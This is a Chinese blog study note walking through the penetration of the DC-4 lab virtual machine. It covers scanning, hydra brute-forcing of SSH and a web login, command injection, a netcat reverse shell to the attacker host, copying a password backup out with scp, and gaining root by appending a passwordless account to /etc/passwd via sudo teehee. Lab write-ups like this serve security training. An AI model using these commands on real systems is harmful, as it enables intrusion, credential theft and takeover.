author: Abyssaler
title: DC-4靶机渗透详解
date: 2022-12-21 18 :38 :36
tags: DC系列靶机
categories: 学习笔记
author: Abyssaler
DC-4靶机渗透全流程
一:实验环境
靶机:DC-4(192.168.1.132)
攻击机:kali2022.2(192.168.1.133)
二:信息收集
主机发现
主机扫描:利用arp-scan工具扫描本地网络
命令:arp-scan -l
扫描本地网络
这里我是用的桥接模式,所以会同时扫描到同一网段中的其他主机
发现其中有明显VMware特征的主机,就是dc-4靶机
或者nmap -sn 192.168.1.0/24
或者netdiscover -i eth0 -r 192.168.1.0/24
都可以进行主机发现
端口扫描
nmap -A 192.168.1.132
综合扫描(开放的端口,服务版本,操作系统类型等)
指纹识别
whatweb 192.168.1.132
目录扫描
dirsearch -u http://192.168.1.132:80/ -e*
web页面信息
信息收集总结
- IP => 192.168.1.132
- 开放的端口:
- 22 => ssh服务 ---- OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
- 80 => http服务 ---- nginx 1.15.10
- OS => Linux 3.2 - 4.9(debian)
- linux kernel => 3/4
- nginx => 1.15.10
- 扫描出来的网站目录
三:渗透测试
一共就两个端口,一个一个试试咯
22端口爆破
没有更多信息,直接用hydra爆破试试
hydra -l root -P /usr/share/wordlists/dirb/small.txt -vV -t 10 -o ssh.txt 192.168.1.132 ssh -s 22
爆破失败,当然如果时间足够的话应该可以用大字典跑出来,这里先试试其他办法
80端口
显而易见的一个登录框,看到标题里有admin,猜测这个可能是用户名,再用burp爆破试试
抓包,对密码进行爆破
还真跑出结果来了
密码是happy
成功登录
命令执行漏洞利用
登进来后发现是命令执行的地方,猜测可能要用命令执行漏洞了
有两个地方可以修改命令
法一
我们可以在前端修改代码,执行其他命令
先改成whoami
试试
命令执行成功了
法二
burp suite抓包该数据
发送到重放器中修改试试
这里我修改成ls,发现返回的结果跟着发生了变化
证明方法是可行的
反弹shell
既然能执行命令,也找不到其他突破口了,想到反弹shell
首先测试靶机有没有nc工具
which nc
which命令的作用是,在PATH变量指定的路径中,搜索某个系统命令的位置,并且返回第一个搜索结果。. 也就是说,使用which命令,就可以看到某个系统命令是否存在,以及执行的到底是哪一个位置的命令。
语法:which [文件...]
nc 是 Linux下强大的网络命令行工具,主要用于 TCP、UDP、UNIX域套接字 相关的操作。它被设计成可以由其他程序灵活驱动可靠的后台工具,拥有 "瑞士军刀" 的美称
结果是有的,开始反弹shell
kali开启监听888端口
nc -l -p 888
-l 使用监听模式,管控传入的资料。
-p<通信端口> 设置本地主机使用的通信端口。
靶机把shell传过去
nc -nv 192.168.1.133 888 -c /bin/bash
-c 传递一个shell命令,/bin/bash就相当把受害主机的shell传过去了
-n 不做名称解析,提高连接速度
-v 显示详细信息
反弹成功
这样看太麻烦了,获取一个交互式的shell
python -c 'import pty;pty.spawn("/bin/bash")'
横向移动
首先查看账户信息
cat /etc/passwd
注意到几个明显像是用户的id
用ls /home
验证
开始信息收集
发现一些目录,继续收集,然后看到了一个及其敏感的文件
通过当前文件夹的名字和.bak后缀猜测这就是用户有关密码的备份文件
这个时候当然要查看了
查看一共有多少行命令
cat old-passwords.bak | wc -l
把受害者主机中的文件拷贝到kali主机
scp /home/jim/backups/old-passwords.bak root@192.168.1.133:~/Desktop
把用户名写入username.txt
有用户名,有密码了,尝试用hydra破解远程的主机
hydra -L username.txt -P old-passwords.bak 192.168.1.132 ssh
经过漫长的等待后爆破成功
用kali凭借jim用户登录系统,进入远程主机
ssh jim@192.168.1.132
继续信息收集
这个脚本好像没什么有用信息,但里面提示有bash,可能要提权
继续查看mbox,好像是一封邮件,里面有许多有用信息
提权
利用kali的searchsploit查询漏洞
searchsploit exim
可以看到这个邮箱系统是有漏洞的,可以利用这个漏洞提权,这里先不用,还有其他提权的办法
查看邮件客户端 mail
可以看到有一封邮件,输入邮件编号1查看内容
可以看到邮件内容里直接就有密码。。。话说这公司心真大啊
尝试一下sudo
提示没有权限,要想办法提权了
很幸运的,我们获得了另一个用户charles的id和password,尝试切换下用户
提示我们可以用root权限去使用teehee命令
echo "hack::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
尝试一下sudo
\
提权成功!
找到flag